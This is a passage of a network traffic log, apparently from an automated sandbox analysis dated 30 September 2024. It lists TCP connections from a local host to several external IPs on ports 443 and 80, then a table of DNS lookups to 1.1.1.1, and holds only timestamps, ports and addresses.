| Sep 30, 2024 18:58:31.019789934 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.091762066 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.091797113 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.091862917 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.091941118 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.091962099 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092273951 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092293978 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092365980 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092386007 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092422962 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092453957 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092497110 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092515945 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092535973 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092581987 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092664957 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092680931 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092749119 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092762947 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092825890 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092864037 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092901945 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092936993 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.092950106 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.092979908 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.093003988 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.105920076 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.105942965 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106030941 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.106055021 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106123924 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106144905 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106178999 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.106192112 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106219053 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.106252909 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106313944 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.106344938 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.106401920 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178102970 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178128004 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178194046 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178256035 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178272009 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178320885 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178622961 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178646088 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178706884 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178725958 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178802967 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178843021 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178858995 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178909063 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.178920984 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.178942919 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179229975 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179256916 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179296017 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179310083 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179363012 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179409027 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179466009 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179481030 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179508924 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179553032 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179559946 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179574013 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179610014 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179619074 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179677010 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179702997 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179735899 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179775000 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179790020 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179795980 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179807901 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179827929 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179845095 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179902077 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.179915905 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.179991007 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.180054903 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.180069923 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192603111 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192651987 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192692995 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.192694902 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192712069 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192748070 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.192933083 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192985058 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192991972 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.192998886 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.193015099 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.193051100 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.193078041 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.193125963 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.193205118 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.193218946 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.193295956 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.234443903 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.234525919 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.264959097 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265006065 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265037060 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265045881 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265075922 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265634060 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265701056 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265703917 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265719891 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265762091 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265764952 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265784979 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265795946 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265818119 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.265866041 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:31.265933037 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:31.266341925 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:32.152065039 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.152106047 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.152185917 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.152513981 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.152528048 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.611139059 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.611206055 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.613504887 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.613526106 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.613802910 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.614847898 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.655411005 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.804477930 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.804544926 CEST | 443 | 49725 | 162.159.135.234 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.804600954 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:32.805423021 CEST | 49725 | 443 | 192.168.2.8 | 162.159.135.234 |
| Sep 30, 2024 18:58:33.282917976 CEST | 49720 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:35.650434017 CEST | 49706 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:35.651321888 CEST | 49706 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:35.651782036 CEST | 49728 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:35.651834965 CEST | 443 | 49728 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:35.651904106 CEST | 49728 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:35.653863907 CEST | 49728 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:35.653879881 CEST | 443 | 49728 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:35.658318996 CEST | 443 | 49706 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:35.659040928 CEST | 443 | 49706 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:36.252650023 CEST | 443 | 49728 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:36.252809048 CEST | 49728 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:36.790719986 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:36.790755987 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:36.790816069 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:36.792089939 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:36.792100906 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:37.695569992 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:37.695641041 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:37.699248075 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:37.699255943 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:37.699510098 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:37.743098974 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.426830053 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.467403889 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650250912 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650273085 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650279999 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650293112 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650321007 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650362968 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.650401115 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650439978 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.650440931 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650453091 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650486946 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.650494099 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650930882 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.650990963 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.663230896 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.663255930 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:38.663270950 CEST | 49729 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:58:38.663278103 CEST | 443 | 49729 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:58:39.308058977 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:39.308125019 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:39.308252096 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:39.310503960 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:39.310524940 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:55.410386086 CEST | 49714 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:55.455415964 CEST | 443 | 49714 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:55.457076073 CEST | 443 | 49728 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:55.457185030 CEST | 49728 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:59:10.316443920 CEST | 443 | 49714 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:59:10.316673994 CEST | 49714 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:59:15.232239962 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:15.232292891 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:15.232382059 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:15.265057087 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:15.265094042 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:15.973090887 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:15.973182917 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:15.978142977 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:15.978157043 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:15.978427887 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:15.979389906 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.023407936 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.689228058 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.689249992 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.689270020 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.689343929 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.689379930 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.689436913 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692543030 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.692603111 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.692631960 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692639112 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.692662001 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692667007 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.692712069 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692799091 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692817926 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:16.692831039 CEST | 49732 | 443 | 192.168.2.8 | 52.165.165.26 |
| Sep 30, 2024 18:59:16.692837000 CEST | 443 | 49732 | 52.165.165.26 | 192.168.2.8 |
| Sep 30, 2024 18:59:19.616697073 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:59:19.616854906 CEST | 49707 | 80 | 192.168.2.8 | 217.20.57.18 |
| Sep 30, 2024 18:59:28.776050091 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:28.776089907 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:28.776159048 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:28.776366949 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:28.776381969 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:29.405807972 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:29.407763958 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:29.407787085 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:29.408138037 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:29.408544064 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:29.408607960 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:29.462176085 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:39.308686018 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:39.308757067 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:59:39.308805943 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:41.308166981 CEST | 49734 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:59:41.308202982 CEST | 443 | 49734 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 19:00:05.260615110 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 19:00:05.608572006 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 19:00:05.687963009 CEST | 80 | 49708 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 19:00:05.688111067 CEST | 80 | 49708 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 19:00:05.688172102 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Sep 30, 2024 18:58:21.568511009 CEST | 56546 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.580779076 CEST | 53 | 56546 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.736318111 CEST | 56547 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.747786999 CEST | 53 | 56547 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.751010895 CEST | 56548 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.787338018 CEST | 53 | 56548 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.787781954 CEST | 56549 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.824881077 CEST | 53 | 56549 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.825268984 CEST | 56550 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.837192059 CEST | 53 | 56550 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.837553978 CEST | 56551 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.868504047 CEST | 53 | 56551 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.941942930 CEST | 56552 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.951627970 CEST | 53 | 56552 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.953989983 CEST | 56553 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.986352921 CEST | 53 | 56553 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.986926079 CEST | 56554 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:21.997402906 CEST | 53 | 56554 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:21.997920036 CEST | 56555 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:22.011620045 CEST | 53 | 56555 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:22.011877060 CEST | 56556 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:22.030313015 CEST | 53 | 56556 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:24.310903072 CEST | 50879 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:24.347410917 CEST | 53 | 50879 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:24.886264086 CEST | 60719 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:24.887777090 CEST | 54421 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:25.075524092 CEST | 53 | 49192 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.076553106 CEST | 53 | 53762 | 1.1.1.1 | 192.168.2.8 |
